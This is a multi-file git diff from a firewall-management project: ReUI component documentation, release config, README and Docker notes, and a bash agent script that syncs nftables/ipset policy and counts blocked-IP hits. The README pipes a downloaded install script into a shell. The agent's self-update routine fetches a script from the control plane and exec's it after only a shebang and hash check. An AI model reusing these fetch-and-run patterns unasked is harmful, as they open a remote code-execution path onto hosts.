<Filters filters={filters} fields={fields} onChange={setFilters} /> <Filters fields={fields} query={query} onQueryChange={setQuery} />
``` ```
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`. **Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
## cascader
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
**Shape:**
```tsx
<Cascader items={items} value={value} onValueChange={setValue}>
<CascaderTrigger render={<Button variant="outline" />}>
<CascaderValue placeholder="Select an attribute" />
</CascaderTrigger>
<CascaderContent className="w-80">
<CascaderPanel>
<CascaderNav>
<CascaderBreadcrumb />
<CascaderInput />
</CascaderNav>
<CascaderEmpty />
<CascaderList maxHeight={288}>
<CascaderItems />
</CascaderList>
<CascaderStatus />
</CascaderPanel>
</CascaderContent>
</Cascader>
```
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
## date-selector ## date-selector
@@ -312,6 +349,19 @@ const [value, setValue] = useState<DateSelectorValue | undefined>()
**Gotcha:** isometric layered artwork for empty states and illustrations; style the inner icon via its own `className`. Mark purely decorative stacks `aria-hidden="true"` and keep the real label in surrounding copy. **Gotcha:** isometric layered artwork for empty states and illustrations; style the inner icon via its own `className`. Mark purely decorative stacks `aria-hidden="true"` and keep the real label in surrounding copy.
## icon-tile
**Required:** one child icon
**Shape:**
```tsx
<IconTile variant="elevated" size="lg">
<PackageIcon />
</IconTile>
```
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
## alert ## alert
**Required:** `Alert` > `AlertTitle` **Required:** `Alert` > `AlertTitle`
+2 -2
View File
@@ -2,7 +2,7 @@
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild. ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
- **component** - one of the 17 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`. - **component** - one of the 20 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`. - **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
- **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens. - **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md). - **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
@@ -27,7 +27,7 @@ Blocks adapt to your active theme through semantic tokens and CSS variables - ch
## Free vs premium ## Free vs premium
- **Free, no key:** the 17 components, all `c-*` examples, the ReUI MCP, and this skill. - **Free, no key:** the 20 components, all `c-*` examples, the ReUI MCP, and this skill.
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)). - **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
## Component API index ## Component API index
+2 -2
View File
@@ -8,7 +8,7 @@ The core ReUI loop. The MCP tells you what to install and gives you the API; the
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot: For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
- `type`: `"component"` (one of the 17 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`. - `type`: `"component"` (one of the 20 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...). - `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`. - `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
@@ -40,7 +40,7 @@ Before writing code against any component an item uses:
Installing files is not the end, and redesigning them defeats the point. First note the project's **base** so you write the right API - read `components.json` -> `style` and take the segment before the first `-` (`base-nova` -> Base UI, `radix-nova` -> Radix UI), see [components.md](./components.md). After `add`: Installing files is not the end, and redesigning them defeats the point. First note the project's **base** so you write the right API - read `components.json` -> `style` and take the segment before the first `-` (`base-nova` -> Base UI, `radix-nova` -> Radix UI), see [components.md](./components.md). After `add`:
1. **Read the added files**; keep the composition intact. For a block, verify the components are wired correctly (for `data-grid`: a `useReactTable` instance passed as `table`, `recordCount` set - see [components.md](./components.md)). 1. **Read the added files**; keep the composition intact. For a block, verify the components are wired correctly (for `data-grid`: a `useTable({ features: dataGridFeatures, ... })` instance passed as `table`, `recordCount` set - see [components.md](./components.md)).
2. **Replace demo data with the user's real data** via typed structures (see [adapting.md](./adapting.md)). 2. **Replace demo data with the user's real data** via typed structures (see [adapting.md](./adapting.md)).
3. **Fix icon imports** to the project's icon library (see [icons.md](./icons.md)). 3. **Fix icon imports** to the project's icon library (see [icons.md](./icons.md)).
4. **Align styling** to semantic tokens and the active theme - no raw colors (see [styling.md](./styling.md)). 4. **Align styling** to semantic tokens and the active theme - no raw colors (see [styling.md](./styling.md)).
+50
View File
@@ -0,0 +1,50 @@
{
"branches": ["main", "master"],
"tagFormat": "v${version}",
"plugins": [
[
"@semantic-release/commit-analyzer",
{
"preset": "conventionalcommits",
"releaseRules": [
{ "type": "feat", "release": "minor" },
{ "type": "fix", "release": "patch" },
{ "type": "perf", "release": "patch" },
{ "type": "ci", "release": "patch" },
{ "type": "refactor", "release": "patch" },
{ "breaking": true, "release": "major" }
]
}
],
[
"@semantic-release/release-notes-generator",
{
"preset": "conventionalcommits"
}
],
[
"@semantic-release/changelog",
{
"changelogFile": "CHANGELOG.md"
}
],
[
"@semantic-release/exec",
{
"successCmd": "echo ${nextRelease.version} > .release-version"
}
],
[
"@markwylde/semantic-release-gitea",
{
"giteaUrl": "https://git.shx.one",
"assets": [
{
"path": "CHANGELOG.md",
"label": "Changelog"
}
]
}
]
]
}
+8 -2
View File
@@ -27,11 +27,17 @@ pnpm --filter @evofw/web build
Surface: **frame**. Hierarchy: **ReUI PRO > shadcn**. Contract: `docs/ui-design-contract.md`. Surface: **frame**. Hierarchy: **ReUI PRO > shadcn**. Contract: `docs/ui-design-contract.md`.
MCP `user-reui` primary + `plugin-shadcn-shadcn` primitives. CLI из `apps/web`. MCP `user-reui` primary + `plugin-shadcn-shadcn` primitives. CLI из `apps/web`.
KPI/QuickActions: EvoBGP hybrid SoT (`KpiStatGrid`, `QuickActionGrid`). KPI/QuickActions: EvoBGP hybrid SoT (`KpiStatGrid`, `QuickActionGrid`).
Docs: [Introduction](https://reui.io/docs) · [llms.txt](https://reui.io/llms.txt) · [MCP](https://reui.io/docs/mcp) · [Agent Skills](https://reui.io/docs/agent-skills).
Skill: `.claude/skills/reui` (`668fb463eb`).
## Docs ## Docs
`docs/architecture.md`, `docs/agents.md`, `docs/integrate-auth-portal.md`, `docs/integrate-evobgp.md`. `docs/architecture.md`, `docs/agents.md`, `docs/integrate-auth-portal.md`, `docs/integrate-evobgp.md`, `docs/releasing.md`.
## CI / Docker
Gitea: `.gitea/workflows/{ci,cd,quality}.yaml`. Образы: `deploy/docker` (`node:22-alpine`, bake + registry cache). Не корневой `Dockerfile`.
## Git ## Git
`origin` → https://git.shts.su/denozord/EvoFirewall.git `origin` → https://git.shx.one/denozord/EvoFirewall.git
-53
View File
@@ -1,53 +0,0 @@
# syntax=docker/dockerfile:1
ARG NODE_VERSION=22.23.0-bookworm-slim
FROM node:${NODE_VERSION} AS build
WORKDIR /app
RUN apt-get update \
&& apt-get install -y --no-install-recommends python3 make g++ \
&& rm -rf /var/lib/apt/lists/* \
&& corepack enable
COPY package.json pnpm-workspace.yaml pnpm-lock.yaml turbo.json ./
COPY apps/web/package.json apps/web/
COPY apps/api/package.json apps/api/
COPY packages/ui/package.json packages/ui/
COPY packages/shared/package.json packages/shared/
COPY packages/db/package.json packages/db/
RUN --mount=type=cache,id=pnpm-store,target=/root/.local/share/pnpm/store \
pnpm install --frozen-lockfile
COPY apps/web apps/web
COPY apps/api apps/api
COPY packages/ui packages/ui
COPY packages/shared packages/shared
COPY packages/db packages/db
RUN pnpm turbo build --filter=@evofw/web --filter=@evofw/api \
&& pnpm --filter @evofw/api deploy --prod /out \
&& cp -r apps/web/dist /out/static \
&& mkdir -p /out/dist/agent-scripts \
&& cp -r apps/api/src/agent-scripts/* /out/dist/agent-scripts/ \
&& rm -rf /out/src /out/test /out/.turbo \
&& rm -rf /out/node_modules/@evofw/db/src /out/node_modules/@evofw/db/.turbo \
&& rm -rf /out/node_modules/@evofw/shared/src /out/node_modules/@evofw/shared/.turbo
FROM node:${NODE_VERSION}
RUN apt-get update \
&& apt-get install -y --no-install-recommends ca-certificates \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
ENV NODE_ENV=production \
STATIC_DIR=/app/static \
DATABASE_URL=sqlite:/data/app.db \
SERVER_PORT=8080
COPY --from=build /out ./
EXPOSE 8080
VOLUME ["/data"]
HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \
CMD ["node", "-e", "fetch('http://127.0.0.1:8080/health').then(r=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))"]
CMD ["node", "dist/server.js"]
+10 -1
View File
@@ -42,6 +42,15 @@ curl -fsSL http://localhost:8080/v1/agent/install.sh | \
Затем Approve в UI `/agents`. Затем Approve в UI `/agents`.
## Docker
```bash
cd deploy/docker
docker buildx bake --allow=fs.read=../.. -f docker-bake.hcl --print default
```
Compose: [`deploy/compose/docker-compose.example.yaml`](deploy/compose/docker-compose.example.yaml). Образ: `git.shx.one/<owner>/evofw` (алиас `evofirewall`). CI/релизы: [`docs/releasing.md`](docs/releasing.md).
## Docs ## Docs
См. [`docs/README.md`](docs/README.md). См. [`docs/README.md`](docs/README.md).
@@ -49,5 +58,5 @@ curl -fsSL http://localhost:8080/v1/agent/install.sh | \
## Git ## Git
``` ```
origin https://git.shts.su/denozord/EvoFirewall.git origin https://git.shx.one/denozord/EvoFirewall.git
``` ```
-1
View File
@@ -1 +0,0 @@
0.1.0
+1
View File
@@ -5,6 +5,7 @@
"type": "module", "type": "module",
"scripts": { "scripts": {
"dev": "tsx watch src/server.ts", "dev": "tsx watch src/server.ts",
"typecheck": "tsc --noEmit",
"build": "tsup src/server.ts --format esm --dts --publicDir src/agent-scripts && node -e \"const fs=require('fs');const p='dist/agent-scripts';fs.mkdirSync(p,{recursive:true});for(const f of fs.readdirSync('src/agent-scripts'))fs.copyFileSync('src/agent-scripts/'+f,p+'/'+f)\"", "build": "tsup src/server.ts --format esm --dts --publicDir src/agent-scripts && node -e \"const fs=require('fs');const p='dist/agent-scripts';fs.mkdirSync(p,{recursive:true});for(const f of fs.readdirSync('src/agent-scripts'))fs.copyFileSync('src/agent-scripts/'+f,p+'/'+f)\"",
"start": "node dist/server.js", "start": "node dist/server.js",
"test": "vitest run" "test": "vitest run"
+805 -36
View File
@@ -7,6 +7,8 @@ LOG_FILE=/var/log/evofw-firewall.log
STATE_DIR=/var/lib/evofw STATE_DIR=/var/lib/evofw
HASH_FILE="${STATE_DIR}/last_hash" HASH_FILE="${STATE_DIR}/last_hash"
POLICY_FILE="${STATE_DIR}/last_policy.json" POLICY_FILE="${STATE_DIR}/last_policy.json"
IP_HITS_TOP=200
PORT_HITS_TOP=500
log() { echo "$(date -u +%Y-%m-%dT%H:%M:%SZ) $*" | tee -a "$LOG_FILE"; } log() { echo "$(date -u +%Y-%m-%dT%H:%M:%SZ) $*" | tee -a "$LOG_FILE"; }
@@ -22,9 +24,81 @@ source "$CONF_FILE"
CLIENT_TOKEN="${CLIENT_TOKEN//$'\r'/}" CLIENT_TOKEN="${CLIENT_TOKEN//$'\r'/}"
CLIENT_TOKEN="${CLIENT_TOKEN//$'\n'/}" CLIENT_TOKEN="${CLIENT_TOKEN//$'\n'/}"
BACKEND="${KERNEL_BACKEND:-auto}" BACKEND="${KERNEL_BACKEND:-auto}"
SYNC_SCRIPT=/usr/local/sbin/evofw-firewall.sh
mkdir -p "$STATE_DIR" mkdir -p "$STATE_DIR"
file_sha256() {
local f=$1
if command -v sha256sum >/dev/null 2>&1; then
sha256sum "$f" 2>/dev/null | awk '{print $1}'
elif command -v openssl >/dev/null 2>&1; then
openssl dgst -sha256 "$f" 2>/dev/null | awk '{print $NF}'
else
echo ""
fi
}
# Pull a newer sync script from CP before policy (pending agents too).
# Errors must not abort this run — keep the current script.
maybe_self_update() {
if [[ "${EVOFW_SKIP_SELF_UPDATE:-}" == "1" ]]; then
return 0
fi
if [[ ! -f "$SYNC_SCRIPT" ]]; then
return 0
fi
local local_sha tmp code remote_sha
local_sha=$(file_sha256 "$SYNC_SCRIPT")
tmp=$(mktemp "${STATE_DIR}/sync-script.XXXXXX") || return 0
if [[ -n "$local_sha" ]]; then
code=$(curl -sS -o "$tmp" -w '%{http_code}' \
-H "If-None-Match: \"${local_sha}\"" \
"${EVOFW_CP_URL%/}/v1/agent/sync-script") || code="000"
else
code=$(curl -sS -o "$tmp" -w '%{http_code}' \
"${EVOFW_CP_URL%/}/v1/agent/sync-script") || code="000"
fi
if [[ "$code" == "304" ]]; then
rm -f "$tmp"
return 0
fi
if [[ "$code" != "200" ]]; then
log "self-update: sync-script HTTP ${code} — keep current"
rm -f "$tmp"
return 0
fi
if ! head -n1 "$tmp" | grep -q '^#!'; then
log "self-update: sync-script is not a shell script — keep current"
rm -f "$tmp"
return 0
fi
remote_sha=$(file_sha256 "$tmp")
if [[ -z "$remote_sha" ]]; then
log "self-update: cannot hash download — keep current"
rm -f "$tmp"
return 0
fi
if [[ -n "$local_sha" && "$remote_sha" == "$local_sha" ]]; then
rm -f "$tmp"
return 0
fi
if ! install -m 755 "$tmp" "$SYNC_SCRIPT"; then
log "self-update: install failed — keep current"
rm -f "$tmp"
return 0
fi
rm -f "$tmp"
rm -f "$HASH_FILE"
log "self-update: installed script sha256=${remote_sha} — re-exec"
exec env EVOFW_SKIP_SELF_UPDATE=1 "$SYNC_SCRIPT" || {
log "self-update: exec failed — continue current"
return 0
}
}
maybe_self_update
curl_policy() { curl_policy() {
local dest="$1" local dest="$1"
local code local code
@@ -55,6 +129,7 @@ fi
parse_policy() { parse_policy() {
local f="$1" local f="$1"
PORT_RULES_FILE="${STATE_DIR}/last_port_rules.json"
if command -v jq >/dev/null 2>&1; then if command -v jq >/dev/null 2>&1; then
HASH=$(jq -r '.hash // empty' "$f") HASH=$(jq -r '.hash // empty' "$f")
DEFAULT_ACTION=$(jq -r '.default_action // empty' "$f") DEFAULT_ACTION=$(jq -r '.default_action // empty' "$f")
@@ -65,10 +140,11 @@ parse_policy() {
fi fi
mapfile -t DENY < <(jq -r '.deny_cidrs[]? // empty' "$f") mapfile -t DENY < <(jq -r '.deny_cidrs[]? // empty' "$f")
mapfile -t ALLOW < <(jq -r '.allow_cidrs[]? // empty' "$f") mapfile -t ALLOW < <(jq -r '.allow_cidrs[]? // empty' "$f")
jq -c '.port_rules // []' "$f" >"$PORT_RULES_FILE" 2>/dev/null || echo '[]' >"$PORT_RULES_FILE"
return 0 return 0
fi fi
if command -v python3 >/dev/null 2>&1; then if command -v python3 >/dev/null 2>&1; then
eval "$(python3 - "$f" <<'PY' eval "$(python3 - "$f" "$PORT_RULES_FILE" <<'PY'
import json,sys import json,sys
d=json.load(open(sys.argv[1],encoding="utf-8")) d=json.load(open(sys.argv[1],encoding="utf-8"))
print(f'HASH={d.get("hash") or ""}') print(f'HASH={d.get("hash") or ""}')
@@ -78,6 +154,7 @@ if not da:
print(f'DEFAULT_ACTION={da}') print(f'DEFAULT_ACTION={da}')
print("DENY=("+" ".join(json.dumps(x) for x in (d.get("deny_cidrs") or []))+")") print("DENY=("+" ".join(json.dumps(x) for x in (d.get("deny_cidrs") or []))+")")
print("ALLOW=("+" ".join(json.dumps(x) for x in (d.get("allow_cidrs") or []))+")") print("ALLOW=("+" ".join(json.dumps(x) for x in (d.get("allow_cidrs") or []))+")")
open(sys.argv[2],"w",encoding="utf-8").write(json.dumps(d.get("port_rules") or []))
PY PY
)" )"
return 0 return 0
@@ -87,16 +164,31 @@ PY
} }
HASH=""; DEFAULT_ACTION=accept; DENY=(); ALLOW=() HASH=""; DEFAULT_ACTION=accept; DENY=(); ALLOW=()
PORT_RULES_FILE="${STATE_DIR}/last_port_rules.json"
parse_policy "$POLICY_FILE" parse_policy "$POLICY_FILE"
# Empty deny/allow is valid — agent may have no rule sets yet. # Empty deny/allow is valid — agent may have no rule sets yet.
DENY=("${DENY[@]+"${DENY[@]}"}") DENY=("${DENY[@]+"${DENY[@]}"}")
ALLOW=("${ALLOW[@]+"${ALLOW[@]}"}") ALLOW=("${ALLOW[@]+"${ALLOW[@]}"}")
log "default_action=$DEFAULT_ACTION deny=${#DENY[@]} allow=${#ALLOW[@]} hash=$HASH" [[ -f "$PORT_RULES_FILE" ]] || echo '[]' >"$PORT_RULES_FILE"
PORT_RULES_COUNT=0
if command -v python3 >/dev/null 2>&1; then
PORT_RULES_COUNT=$(python3 -c 'import json,sys; print(len(json.load(open(sys.argv[1]))))' "$PORT_RULES_FILE" 2>/dev/null || echo 0)
fi
log "default_action=$DEFAULT_ACTION deny=${#DENY[@]} allow=${#ALLOW[@]} port_rules=$PORT_RULES_COUNT hash=$HASH"
PACKETS_DROPPED=0 PACKETS_DROPPED=0
PACKETS_ACCEPTED=0 PACKETS_ACCEPTED=0
KERNEL_METHOD="" KERNEL_METHOD=""
APPLIED=0 APPLIED=0
# Snapshot / hits live on disk — never via bash ${var:-{...}} (} truncates expansion).
HOST_FW_FILE="${STATE_DIR}/host_firewall.json"
IP_HITS_FILE="${STATE_DIR}/ip_hits.json"
PORT_HITS_FILE="${STATE_DIR}/port_hits.json"
printf '%s' '{"rules":[],"listeners":[]}' >"$HOST_FW_FILE"
printf '%s' '[]' >"$IP_HITS_FILE"
printf '%s' '[]' >"$PORT_HITS_FILE"
# 1 when deny_port_hits dynamic set is available for this apply.
PORT_HITS_ENABLED=0
nft_join() { nft_join() {
local out="" p local out="" p
@@ -116,38 +208,226 @@ nft_add_chunk() {
} }
} }
# Ensure inet set exists. Prefer per-element counters; many kernels reject
# `counter` on interval sets — fall back to plain interval (no per-IP hits).
# Caller must delete referencing chains before recreating a set.
ensure_nft_set() {
local table=$1 name=$2 setname=$3
local def
def=$(nft list set "$table" "$name" "$setname" 2>/dev/null || true)
if [[ -n "$def" ]] && [[ "$def" == *"counter"* ]]; then
return 0
fi
if [[ -n "$def" ]]; then
# Upgrade path: drop old set without counters (chain must already be gone).
nft delete set "$table" "$name" "$setname" 2>>"$LOG_FILE" || true
fi
if nft add set "$table" "$name" "$setname" '{ type ipv4_addr; flags interval; counter; }' 2>>"$LOG_FILE"; then
return 0
fi
# Set may still exist if delete failed — try plain create only if missing.
if nft list set "$table" "$name" "$setname" >/dev/null 2>&1; then
log "nft: keep existing set $setname (no per-element counter)"
return 0
fi
if nft add set "$table" "$name" "$setname" '{ type ipv4_addr; flags interval; }' 2>>"$LOG_FILE"; then
log "nft: set $setname without counter (interval+counter unsupported)"
return 0
fi
log "nft: failed to create set $setname"
return 1
}
collect_nft_stats() { collect_nft_stats() {
PACKETS_DROPPED=0; PACKETS_ACCEPTED=0 PACKETS_DROPPED=0; PACKETS_ACCEPTED=0
local line n local line n chain
while IFS= read -r line; do for chain in input forward prerouting; do
[[ "$line" =~ packets[[:space:]]+([0-9]+) ]] || continue while IFS= read -r line; do
n="${BASH_REMATCH[1]}" [[ "$line" =~ packets[[:space:]]+([0-9]+) ]] || continue
# Policy set hits only (ignore lo / established noise) n="${BASH_REMATCH[1]}"
if [[ "$line" == *@deny_v4* ]]; then # Policy set hits only (ignore lo / established noise)
PACKETS_DROPPED=$((PACKETS_DROPPED + n)) if [[ "$line" == *@deny_v4* ]]; then
elif [[ "$line" == *@allow_v4* ]]; then PACKETS_DROPPED=$((PACKETS_DROPPED + n))
PACKETS_ACCEPTED=$((PACKETS_ACCEPTED + n)) elif [[ "$line" == *@allow_v4* ]]; then
elif [[ "$line" == *" counter drop"* && "$line" != *@* ]]; then PACKETS_ACCEPTED=$((PACKETS_ACCEPTED + n))
PACKETS_DROPPED=$((PACKETS_DROPPED + n)) elif [[ "$line" == *" counter drop"* && "$line" != *@* ]]; then
elif [[ "$line" == *" counter accept"* && "$line" != *@* && "$line" != *established* && "$line" != *"iif \"lo\""* && "$line" != *"iif lo"* ]]; then PACKETS_DROPPED=$((PACKETS_DROPPED + n))
PACKETS_ACCEPTED=$((PACKETS_ACCEPTED + n)) elif [[ "$line" == *" counter accept"* && "$line" != *@* && "$line" != *established* && "$line" != *"iif \"lo\""* && "$line" != *"iif lo"* ]]; then
fi PACKETS_ACCEPTED=$((PACKETS_ACCEPTED + n))
done < <(nft list chain inet evofw input 2>/dev/null || true) fi
done < <(nft list chain inet evofw "$chain" 2>/dev/null || true)
done
}
# Parse nft/ipset listing from file → IP_HITS_FILE (top-N JSON).
build_ip_hits_from_file() {
local src="$1"
printf '%s' '[]' >"$IP_HITS_FILE"
[[ -f "$src" ]] || return 0
if ! command -v python3 >/dev/null 2>&1; then
return 0
fi
IP_HITS_TOP="$IP_HITS_TOP" IN_F="$src" OUT_F="$IP_HITS_FILE" python3 - <<'PY' 2>>"$LOG_FILE" || printf '%s' '[]' >"$IP_HITS_FILE"
import json, os, re
path = os.environ["IN_F"]
top = int(os.environ.get("IP_HITS_TOP", "200"))
try:
with open(path, "r", encoding="utf-8", errors="replace") as f:
text = f.read()
except OSError:
text = ""
hits = {}
for m in re.finditer(r"([0-9]{1,3}(?:\.[0-9]{1,3}){3}(?:/[0-9]{1,2})?)\s+(?:counter\s+)?packets\s+(\d+)", text):
ip, pkts = m.group(1), int(m.group(2))
if pkts > 0:
hits[ip] = max(hits.get(ip, 0), pkts)
for m in re.finditer(r"^([0-9]{1,3}(?:\.[0-9]{1,3}){3}(?:/[0-9]{1,2})?)\s+packets\s+(\d+)", text, re.M):
ip, pkts = m.group(1), int(m.group(2))
if pkts > 0:
hits[ip] = max(hits.get(ip, 0), pkts)
items = [{"ip": k, "packets": v} for k, v in hits.items()]
items.sort(key=lambda x: x["packets"], reverse=True)
with open(os.environ["OUT_F"], "w", encoding="utf-8") as f:
json.dump(items[:top], f, separators=(",", ":"))
print(len(items[:top]))
PY
}
collect_nft_ip_hits() {
local dump="${STATE_DIR}/nft_deny_v4.txt"
nft list set inet evofw deny_v4 >"$dump" 2>/dev/null || : >"$dump"
build_ip_hits_from_file "$dump"
}
collect_ipset_ip_hits() {
local dump="${STATE_DIR}/ipset_deny_v4.txt"
ipset list evofw_deny_v4 >"$dump" 2>/dev/null || : >"$dump"
build_ip_hits_from_file "$dump"
}
collect_ip_hits() {
printf '%s' '[]' >"$IP_HITS_FILE"
if [[ "${KERNEL_METHOD:-}" == "nft" ]] || { [[ -z "${KERNEL_METHOD:-}" || "${KERNEL_METHOD:-}" == "auto" ]] && command -v nft >/dev/null 2>&1 && nft list set inet evofw deny_v4 >/dev/null 2>&1; }; then
collect_nft_ip_hits
return
fi
if command -v ipset >/dev/null 2>&1 && ipset list evofw_deny_v4 >/dev/null 2>&1; then
collect_ipset_ip_hits
fi
}
# Parse nft dynamic concat set from file → PORT_HITS_FILE.
build_port_hits_from_file() {
local src="$1"
printf '%s' '[]' >"$PORT_HITS_FILE"
[[ -f "$src" && -s "$src" ]] || return 0
if ! command -v python3 >/dev/null 2>&1; then
return 0
fi
PORT_HITS_TOP="$PORT_HITS_TOP" IN_F="$src" OUT_F="$PORT_HITS_FILE" python3 - <<'PY' 2>>"$LOG_FILE" || printf '%s' '[]' >"$PORT_HITS_FILE"
import json, os, re
path = os.environ["IN_F"]
top = int(os.environ.get("PORT_HITS_TOP", "500"))
try:
with open(path, "r", encoding="utf-8", errors="replace") as f:
text = f.read()
except OSError:
text = ""
hits = {}
proto_map = {"6": "tcp", "17": "udp", "tcp": "tcp", "udp": "udp"}
pat = re.compile(
r"([0-9]{1,3}(?:\.[0-9]{1,3}){3})\s*\.\s*([A-Za-z0-9]+)\s*\.\s*(\d+)\s+"
r"(?:timeout\s+\S+\s+)?(?:counter\s+)?packets\s+(\d+)",
re.I,
)
for m in pat.finditer(text):
ip, raw_proto, port_s, pkts_s = m.group(1), m.group(2).lower(), m.group(3), m.group(4)
proto = proto_map.get(raw_proto)
if not proto:
continue
pkts = int(pkts_s)
if pkts <= 0:
continue
port = int(port_s)
if port < 1 or port > 65535:
continue
key = (ip, port, proto)
hits[key] = max(hits.get(key, 0), pkts)
items = [
{"ip": ip, "port": port, "protocol": proto, "packets": pkts}
for (ip, port, proto), pkts in hits.items()
]
items.sort(key=lambda x: x["packets"], reverse=True)
with open(os.environ["OUT_F"], "w", encoding="utf-8") as f:
json.dump(items[:top], f, separators=(",", ":"))
print(len(items[:top]))
PY
}
collect_nft_port_hits() {
local dump="${STATE_DIR}/nft_deny_port_hits.txt"
printf '%s' '[]' >"$PORT_HITS_FILE"
nft list set inet evofw deny_port_hits >"$dump" 2>/dev/null || : >"$dump"
[[ -s "$dump" ]] || return 0
build_port_hits_from_file "$dump"
}
collect_port_hits() {
printf '%s' '[]' >"$PORT_HITS_FILE"
if [[ "${KERNEL_METHOD:-}" == "nft" ]] || { [[ -z "${KERNEL_METHOD:-}" || "${KERNEL_METHOD:-}" == "auto" ]] && command -v nft >/dev/null 2>&1 && nft list set inet evofw deny_port_hits >/dev/null 2>&1; }; then
collect_nft_port_hits
fi
}
